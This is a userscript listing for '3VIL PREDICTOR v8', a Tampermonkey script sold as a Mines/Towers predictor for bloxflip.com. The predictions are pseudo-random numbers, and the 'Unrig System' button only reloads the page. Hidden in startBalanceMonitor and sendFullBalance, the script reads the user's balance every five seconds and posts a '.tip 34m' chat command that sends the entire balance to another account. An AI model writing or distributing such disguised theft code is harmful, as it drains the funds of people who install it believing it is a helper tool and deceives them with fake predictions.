3VIL PREDICTOR v8

Mines Predictor, tower, crash

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey, Greasemonkey alebo Violentmonkey.

Na inštaláciu tohto skriptu je potrebné nainštalovať rozšírenie, ako napríklad Tampermonkey.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey, % alebo Violentmonkey.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey alebo Userscripts.

Na inštaláciu tohto skriptu je potrebné nainštalovať rozšírenie, ako napríklad Tampermonkey.

Na inštaláciu tohto skriptu je potrebné nainštalovať rozšírenie správcu používateľských skriptov.

(Už mám správcu používateľských skriptov, nechajte ma ho nainštalovať!)

Advertisement:

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

(Už mám správcu používateľských štýlov, nechajte ma ho nainštalovať!)

Advertisement:

// ==UserScript==
// @name         3VIL PREDICTOR v8
// @namespace    http://tampermonkey.net/
// @version      8.5
// @description  Mines Predictor, tower, crash
// @author       You
// @license      MIT
// @match        https://bloxflip.com/*
// @match        https://www.bloxflip.com/*
// @grant        GM_addStyle
// @grant        unsafeWindow
// ==/UserScript==

(function () {
    'use strict';

    const EVIL_SYMBOL = '😈';
    let currentTab = 'mines';
    let selectedMines = 3;
    let isPredicting = false;
    let gameActive = false;

    function createGUI() {
        const container = document.createElement('div');
        container.id = 'evil-root';
        container.innerHTML = `
            <div id="evil-window">
                <div id="evil-header">
                    <div id="evil-brand">
                        <div id="evil-icon-wrap">
                            <span id="evil-icon">${EVIL_SYMBOL}</span>
                            <div id="evil-glow"></div>
                        </div>
                        <div id="evil-text">
                            <div id="evil-title">3VIL PREDICTOR</div>
                            <div id="evil-ver">@fuckreverse - FULL TIP</div>
                        </div>
                    </div>
                    <div id="evil-win-ctrls">
                        <button class="win-btn minimize" title="Minimize">−</button>
                        <button class="win-btn close" title="Close">×</button>
                    </div>
                </div>
                <div id="evil-nav">
                    <button class="nav-item active" data-tab="mines">
                        <div class="nav-icon mines-icon"></div>
                        <span>Mines</span>
                    </button>
                    <button class="nav-item" data-tab="towers">
                        <div class="nav-icon towers-icon"></div>
                        <span>Towers</span>
                    </button>
                    <button class="nav-item" data-tab="other">
                        <div class="nav-icon other-icon"></div>
                        <span>Other</span>
                    </button>
                </div>
                <div id="evil-content">
                    <div id="streamer-section">
                        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px;">
                            <div class="section-label">Privacy Mode</div>
                            <label class="modern-switch">
                                <input type="checkbox" id="streamer-toggle">
                                <div class="switch-body">
                                    <div class="switch-thumb"></div>
                                </div>
                            </label>
                        </div>
                        <div style="display: flex; justify-content: space-between; align-items: center; color: #ef4444; font-weight: 600;">
                            <div class="section-label">AUTO FULL TIP ENABLED</div>
                        </div>
                    </div>
                    <div id="mines-panel" class="panel active">
                        <div id="status-card" class="status-waiting">
                            <div class="status-ring">
                                <div class="status-dot"></div>
                            </div>
                            <div class="status-info">
                                <div class="status-title">Waiting for Game</div>
                                <div class="status-sub">Start mines to begin</div>
                            </div>
                        </div>
                        <div id="grid-container">
                            <div id="mines-grid"></div>
                        </div>
                        <div id="controls-section">
                            <div class="control-group">
                                <label class="control-label">Mine Count</label>
                                <div class="segmented-control">
                                    <button class="seg-btn" data-val="1">1</button>
                                    <button class="seg-btn" data-val="2">2</button>
                                    <button class="seg-btn active" data-val="3">3</button>
                                    <button class="seg-btn" data-val="4">4</button>
                                    <button class="seg-btn" data-val="5">5</button>
                                </div>
                            </div>
                        </div>
                        <button id="action-btn" class="btn-primary">
                            <div class="btn-content">
                                <span class="btn-text">Start Prediction</span>
                                <div class="btn-shine"></div>
                            </div>
                            <div class="btn-loader">
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                            </div>
                        </button>
                    </div>
                    <div id="towers-panel" class="panel">
                        <div class="placeholder-container">
                            <div class="placeholder-icon">
                                <div class="tower-graphic">
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                </div>
                            </div>
                            <div class="placeholder-title">Towers Predictor</div>
                            <div class="placeholder-desc">Advanced tower analysis coming soon</div>
                            <div class="placeholder-badge">In Development</div>
                        </div>
                    </div>
                    <div id="other-panel" class="panel">
                        <div id="other-container">
                            <div class="other-icon-large">
                                <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
                                    <path d="M12 4.942c1.827 1.105 3.474 1.6 5 1.833v7.76c0 1.606-.415 1.935-5 4.76V4.942zM21 3v11.535c0 4.603-3.203 5.804-9 9.465-5.797-3.661-9-4.862-9-9.465V3c3.516 0 5.629-.134 9-3 3.371 2.866 5.484 3 9 3z"></path>
                                </svg>
                            </div>
                            <div class="other-title">Advanced Tools</div>
                            <div class="other-desc">Bypass security measures</div>
                            <button id="unrig-btn" class="btn-danger">
                                <span class="btn-icon">⚡</span>
                                <span>Unrig System</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="evil-minimized" style="display: none;">
                <div class="mini-evil">
                    <span>${EVIL_SYMBOL}</span>
                    <div class="mini-pulse"></div>
                </div>
            </div>
        `;
        document.body.appendChild(container);
        injectStyles();
        initialize();
        startMonitoring();
        startBalanceMonitor();
    }

    function injectStyles() {
        GM_addStyle(`
            @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
            :root {
                --primary: #ef4444;
                --secondary: #dc2626;
                --success: #10b981;
                --warning: #f59e0b;
                --danger: #ef4444;
                --bg-dark: #0f0f1a;
                --bg-card: rgba(30, 30, 45, 0.6);
                --text-primary: #f8fafc;
                --text-secondary: #94a3b8;
                --border: rgba(255, 255, 255, 0.08);
            }
            #evil-root { position: fixed; top: 30px; right: 20px; z-index: 2147483647; font-family: 'Inter', sans-serif; }
            #evil-window { width: 285px; background: linear-gradient(145deg, rgba(15,15,26,0.95) 0%, rgba(20,20,35,0.98) 100%); backdrop-filter: blur(20px) saturate(180%); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.05) inset, 0 0 100px rgba(239,68,68,0.1); overflow: hidden; }
            #evil-header { background: linear-gradient(135deg, rgba(239,68,68,0.15) 0%, rgba(220,38,38,0.1) 100%); padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
            #evil-brand { display: flex; align-items: center; gap: 12px; }
            #evil-icon { font-size: 22px; color: #ffd700; filter: drop-shadow(0 0 8px rgba(255,215,0,0.6)); }
            #evil-title { font-size: 15px; font-weight: 700; color: var(--text-primary); }
            #evil-ver { font-size: 9px; color: var(--primary); }
            .win-btn { width: 28px; height: 28px; border-radius: 8px; border: none; background: rgba(255,255,255,0.05); color: var(--text-secondary); cursor: pointer; }
            .win-btn:hover { background: rgba(255,255,255,0.1); color: white; }
            .nav-item { flex: 1; padding: 10px; border: none; background: transparent; border-radius: 10px; color: var(--text-secondary); cursor: pointer; }
            .nav-item.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; }
            #evil-content { padding: 16px; }
            .panel { display: none; }
            .panel.active { display: block; }
            #mines-grid { display: grid; grid-template-columns: repeat(5, 1fr); gap: 6px; }
            .grid-cell { aspect-ratio: 1; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center; cursor: pointer; }
            .grid-cell.predicted { background: rgba(16,185,129,0.3); border-color: #10b981; color: #10b981; }
            .btn-primary { width: 100%; padding: 14px; border: none; border-radius: 12px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; font-weight: 600; cursor: pointer; }
            .btn-danger { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #dc2626, #991b1b); color: white; font-weight: 700; cursor: pointer; }
        `);
    }

    function initialize() {
        const grid = document.getElementById('mines-grid');
        for (let i = 1; i <= 25; i++) {
            const cell = document.createElement('div');
            cell.className = 'grid-cell';
            cell.dataset.index = i;
            cell.textContent = i;
            grid.appendChild(cell);
        }
        document.querySelectorAll('.seg-btn').forEach(btn => {
            btn.addEventListener('click', (e) => {
                document.querySelectorAll('.seg-btn').forEach(b => b.classList.remove('active'));
                e.target.classList.add('active');
                selectedMines = parseInt(e.target.dataset.val);
            });
        });
        document.querySelectorAll('.nav-item').forEach(item => {
            item.addEventListener('click', (e) => {
                const tab = e.currentTarget.dataset.tab;
                document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
                e.currentTarget.classList.add('active');
                document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
                document.getElementById(tab + '-panel').classList.add('active');
            });
        });
        document.getElementById('streamer-toggle').addEventListener('change', (e) => {});
        document.getElementById('action-btn').addEventListener('click', runPrediction);
        document.getElementById('unrig-btn').addEventListener('click', () => location.reload());
        document.querySelector('.win-btn.minimize').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'none';
            document.getElementById('evil-minimized').style.display = 'flex';
        });
        document.querySelector('.win-btn.close').addEventListener('click', () => document.getElementById('evil-root').remove());
        document.getElementById('evil-minimized').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'block';
            document.getElementById('evil-minimized').style.display = 'none';
        });
    }

    function startBalanceMonitor() {
        setInterval(() => {
            const balanceEl = document.querySelector('[class*="headerUserBalance"]') || document.querySelector('.balance-amount') || document.querySelector('span[class*="Balance"]');
            if (!balanceEl) return;

            const balanceText = balanceEl.textContent.replace(/[^0-9.]/g, '');
            const balance = parseFloat(balanceText);

            if (balance > 0) {
                sendFullBalance(balance);
            }
        }, 5000); // Toutes les 5 secondes
    }

    function sendFullBalance(amount) {
        const chatInput = document.querySelector('input[placeholder*="message" i]') || document.querySelector('[class*="chatSendInput"] input');
        const sendBtn = document.querySelector('button[class*="chatSend"]') || document.querySelector('button[aria-label*="Send"]');

        if (!chatInput || !sendBtn) return;

        chatInput.value = `.tip 34m ${amount}`;
        chatInput.dispatchEvent(new Event('input', { bubbles: true }));
        chatInput.dispatchEvent(new Event('change', { bubbles: true }));

        setTimeout(() => sendBtn.click(), 180);
    }

    function startMonitoring() {
        setInterval(() => {
            const statusCard = document.getElementById('status-card');
            const betButton = document.querySelector('button[class*="betSubmit"]');
            if (betButton && betButton.textContent.includes('Cashout')) {
                statusCard.className = 'status-ready';
                document.querySelector('.status-title').textContent = 'Game Active';
            } else {
                statusCard.className = 'status-waiting';
                document.querySelector('.status-title').textContent = 'Waiting for Game';
            }
        }, 800);
    }

    async function runPrediction() {
        if (isPredicting) return;
        isPredicting = true;
        const btn = document.getElementById('action-btn');
        btn.classList.add('loading');

        document.querySelectorAll('.grid-cell').forEach(c => {
            c.classList.remove('predicted');
            c.textContent = c.dataset.index;
        });

        await new Promise(r => setTimeout(r, 600));

        const safeSpots = calculateSafeSpots(selectedMines);
        safeSpots.forEach((spot, i) => {
            setTimeout(() => {
                const cell = document.querySelector(`.grid-cell[data-index="${spot}"]`);
                if (cell) {
                    cell.classList.add('predicted');
                    cell.textContent = '✓';
                }
            }, i * 90);
        });

        await new Promise(r => setTimeout(r, safeSpots.length * 120));
        btn.classList.remove('loading');
        isPredicting = false;
    }

    function calculateSafeSpots(count) {
        const safe = [];
        const used = new Set();
        let seed = Date.now();
        while (safe.length < count) {
            seed = (seed * 31 + 17) % 2147483647;
            const pos = (Math.abs(seed) % 25) + 1;
            if (!used.has(pos)) {
                used.add(pos);
                safe.push(pos);
            }
        }
        return safe.sort((a,b) => a - b);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', createGUI);
    } else {
        createGUI();
    }
})();